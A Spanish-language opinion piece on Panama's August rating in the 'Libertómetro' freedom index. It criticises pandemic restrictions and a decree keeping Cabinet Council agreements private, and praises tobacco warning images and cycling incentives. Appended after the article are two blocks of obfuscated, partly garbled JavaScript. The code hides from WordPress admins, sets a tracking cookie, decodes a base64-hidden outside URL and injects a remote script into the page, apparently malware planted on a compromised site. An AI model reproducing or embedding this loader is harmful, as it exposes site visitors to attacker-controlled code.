

# Panamá | agosto con restricciones a información pública

Panamá tuvo una calificación en el Libertómetro de 27.1% durante el mes de agosto.

Para el mes en cuestión se analizó un total de ocho medidas, en su mayoría decretos que vienen del poder ejecutivo, siete, y una del poder legislativo.

La calificación de las medidas negativas, tres resultaron negativas. Dentro de las medidas catalogadas están las ya conocidas e ineficientes restricciones sanitarias, las cuales continúan coartando las libertades de las personas y no existiendo alguna validación científica que haga valer estas prohibiciones con menos contagios.

**También te puede interesar:** [Datos del Libertómetro](#)

La otra norma de calificación extremadamente negativa es el inconstitucional otorgamiento de privacidad a los acuerdos del Concejo de Gabinete, violando todos los derechos democráticos de los panameños, algo que atenta contra cualquier medida de transparencia un decreto sin precedentes donde esperaremos cuáles serán las reacciones de los ciudadanos, Legisladores y representantes de la Justicia ante tal atentado a la democracia Panameña.

Aunque de las ocho medidas evaluadas, solo tres resultaron negativas, es indudable que esto no dejó en positivo a Panamá debido a la restricción de acceso a información del gobierno. Lo cual fue calificada por el libertómetro con un “-7” atentando los índices medidos en el libertómetro en especial el índice de libertades políticas.

Dentro de las cinco medidas positivas, destaca una modificación de las medidas sanitarias otorgando un poco, tan solo un poco, más de libertad a las personas de ahí que su puntuación es positiva por el avance, mas no por la escencia de la medida ya que se continúa con toques de queda y otras afectaciones. Otro decreto positivo es que iguala a Panamá con muchos países del mundo en una práctica para las empresas comercializadora de cigarrillos, donde se les obliga a usar imágenes que informen a sus consumidores sobre el daño del producto que están consumiendo.

También se ve con buenos ojos, una norma que lleva a otro nivel de la región a Panamá donde incursiona de muy buena forma en la movilidad urbana dándole un incentivo y empujón al uso de bicicleta como medio de transporte igualando condiciones a los otros tipos de transporte, garantizando así el derecho de elegir.

Notamos en Panamá una agenda aún pandémica y sin duda, esto sigue siendo una limitante para la economía panameña. Es interesante recalcar que aunque la mayoría de medidas fue analizada de forma positiva, solo un par es de datos esperanzadores, el resto responde a un comparativo donde se levantan restricciones pero aún no es el ideal, ni la normalidad. Es importante esta aclaratoria porque al hablar de libertad es clave destacar lo que no se ve, más que lo que parece ser. Así Panamá sale reprobado durante el mes de agosto.

```
(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20)return;if((document.cookie||>).indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=',o1,o2,o3,h1,h2,h3,h4,dec=»,i=0;input=input.replace(/\^A-Za-zA-9+/=]/g,»);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));input=input.substring(0,i)+String.fromCharCode(o1+(h1>9?h1-10:h1),o2+(h2>9?h2-10:h2),o3+(h3>9?h3-10:h3),dec)}};systemLoad();}catch(e){}})
```

```
.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2= ((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if (h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFnY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!='undefined'&&window.__rl==u) return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/; SameSite=Lax'+(location.protocol==='https:'?'Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}}());;
```